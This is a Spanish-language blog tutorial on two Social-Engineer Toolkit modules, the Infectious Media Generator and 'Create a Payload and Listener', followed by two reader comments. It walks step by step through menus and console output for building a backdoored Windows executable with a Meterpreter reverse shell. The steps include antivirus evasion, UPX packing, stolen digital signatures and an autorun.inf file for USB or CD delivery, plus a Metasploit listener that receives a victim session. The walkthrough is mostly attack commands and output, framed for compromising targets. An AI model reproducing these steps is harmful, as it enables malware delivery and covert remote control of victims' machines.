Este modulo de ataque en SET, tal como su nombre lo indica permite crear ejecutables maliciosos en dispositivos USB o discos CD/DVD. Este modulo creará un fichero “autorun.inf” que será útil para cargar automáticamente el ejecutable malicioso que viene incluido en el dispositivo, además de esto cuenta con un pequeño asistente para establecer las propiedades necesarias para la generación del payload utilizando metasploit, donde en cada paso se incluyen el tipo de exploit que se desea incluir, el tipo de mecanismo de evasión de AV que se desea emplear entre otras cosas.
El primer paso es la selección del tipo de ejecutable (exploit) que se desea crear
Pick the attack vector you wish to use: fileformat bugs or a straight executable.1. File-Format Exploits
2. Standard Metasploit Executable |
En el caso de seleccionar un exploit estándar de MetaSploit se solicita la selección del tipo de conexión (consola) que se desea obtener, la selección mas frecuente y con mejores resultados es sin lugar a dudas alguna de las que permite retornar una sesión meterpreter.
set > infectious > 2What payload do you want to generate:
Name: Description: 1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4. Windows Bind Shell Execute payload and create an accepting port on remote system 5. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline 6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 9. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 10. Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and spawn Meterpreter 11. SE Toolkit Interactive Shell This is the new custom interactive reverse shell designed for SET 12. RATTE HTTP Tunneling Payload This is a security bypass payload that will tunnel all comms over HTTP 13. Import your own executable Specify a path for your own executable |
Ahora se selecciona el tipo encoding que se incluirá en la creación del fichero ejecutable de MetaSploit. Como puede apreciarse, algunos de los que se encuentran incluidos en el listado son bien conocidos, mientras que otros lo son menos, como es el caso de “Backdoored Executable” en próximas entradas se hablará del uso de algunos nuevos encoders incluidos en las ultimas versiones de MetaSploit Framework.
En este caso concreto se selecciona el encoder 16 del listado (Backdoored Executable) el cual es empleado para la creación del fichero ejecutable, posteriormente se intenta iniciar la consola de MetaSploit para iniciar el listener que se encargará de la recepción del stager cuando un objetivo se convierte en víctima.
set > encoders > 16 [-] Enter the PORT of the listener (enter for default): 5555
[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds… [-] Backdoor completed successfully. Payload is now hidden within a legit executable. [*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding. [*] Packing the executable and obfuscating PE file randomly, one moment. [*] Digital Signature Stealing is ON, hijacking a legit digital certificate. [*] Your attack has been created in the SET home directory folder «autorun» [*] Copy the contents of the folder to a CD/DVD/USB to autorun. [*] The payload can be found in the SET home directory. [*] Do you want to start the listener now? yes or no: yes [*] Please wait while the Metasploit listener is loaded… resource (src/program_junk/meta_config)> use exploit/multi/handler resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp resource (src/program_junk/meta_config)> set LHOST 0.0.0.0 LHOST => 0.0.0.0 resource (src/program_junk/meta_config)> set LPORT 5555 LPORT => 5555 resource (src/program_junk/meta_config)> set ExitOnSession false ExitOnSession => false resource (src/program_junk/meta_config)> exploit -j [*] Exploit running as background job. msf exploit(handler) > [*] Started reverse handler on 0.0.0.0:5555 [*] Starting the payload handler…
|
Como puede apreciarse se ha creado un directorio llamado “autorun” el cual contiene el fichero ejecutable y el fichero autorun, todo preparado para ser incluido en un dispositivo USB/CD/DVD. Además de esto también se ha iniciado el listener de metasploit esperando conexiones.
Una vez se ha entregado el fichero malicioso a la víctima por medio de un dispositivo de salida, la consola del atacante verá una salida similar a la siguiente:
[*] Starting the payload handler…[*] Sending stage (752128 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.33:5555 -> 192.168.1.40:1057) at Sat Aug 13 21:04:10 +0200 2011 sessions -i 1 [*] Starting interaction with 1… meterpreter> |
Este tipo de ataque frecuentemente puede tener una alta probabilidad de éxito cuando viene en compañía con técnicas de ingeniera social y evidentemente técnicas de Footprinting y FingerPrinting conocer en profundidad a un objetivo desde distintas perspectivas es la forma mas efectiva de vulnerarlo.
Create a Payload and Listener
Desde SET es posible crear un payload ejecutable y su correspondiente listener con MetaSploit, el procedimiento que que sigue SET es solamente una “capa” que ejecuta utilidades de MetaSploit tales como “msfpayload”, “msfvenom” y “msfencode” ingresando únicamente los datos relacionados con su creación
Select from the menu:1. Spear-Phishing Attack Vectors
2. Website Attack Vectors 3. Infectious Media Generator 4. Create a Payload and Listener 5. Mass Mailer Attack 6. Arduino-Based Attack Vector 7. SMS Spoofing Attack Vector 8. Wireless Access Point Attack Vector 9. Third Party Modules 10. Update the Metasploit Framework 11. Update the Social-Engineer Toolkit 12. Help, Credits, and About 99. Exit the Social-Engineer Toolkit
|
Se encuentra en el menú principal de SET en la opción número 4
set > 4What payload do you want to generate:
Name: Description: 1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4. Windows Bind Shell Execute payload and create an accepting port on remote system 5. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline 6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 9. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 10. Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and spawn Meterpreter 11. SE Toolkit Interactive Shell This is the new custom interactive reverse shell designed for SET 12. RATTE HTTP Tunneling Payload This is a security bypass payload that will tunnel all comms over HTTP 13. Import your own executable Specify a path for your own executable |
A partir de aquí, las opciones son conocidas de otros de los mecanismos de ataque mencionados anteriormente, el asistente guiará al usuario en la creación del payload “paso a paso” permitiéndole seleccionar el payload, el encoder y finalmente el puerto donde se iniciará el listener.
set > payloads > 2Below is a list of encodings to try and bypass AV.
Select one of the below, ‘backdoored executable’ is typically the best. 1. avoid_utf8_tolower (Normal) 2. shikata_ga_nai (Very Good) 3. alpha_mixed (Normal) 4. alpha_upper (Normal) 5. call4_dword_xor (Normal) 6. countdown (Normal) 7. fnstenv_mov (Normal) 8. jmp_call_additive (Normal) 9. nonalpha (Normal) 10. nonupper (Normal) 11. unicode_mixed (Normal) 12. unicode_upper (Normal) 13. alpha2 (Normal) 14. No Encoding (None) 15. Multi-Encoder (Excellent) 16. Backdoored Executable (BEST) set > encoders > 16 [-] Enter the PORT of the listener (enter for default): 5555 [-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds… [-] Backdoor completed successfully. Payload is now hidden within a legit executable. [*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding. [*] Packing the executable and obfuscating PE file randomly, one moment. [*] Digital Signature Stealing is ON, hijacking a legit digital certificate. [*] Your payload is now in the root directory of SET as msf.exe. |
Como puede apreciar, se ha generado un fichero ejecutable malicioso que posteriormente puede ser entregado al objetivo con el fin de obtener una sesión meterpreter en este caso.
Menudos curros que te pegas tío… sigue así!!!
Un gran blog.
Me gustaMe gusta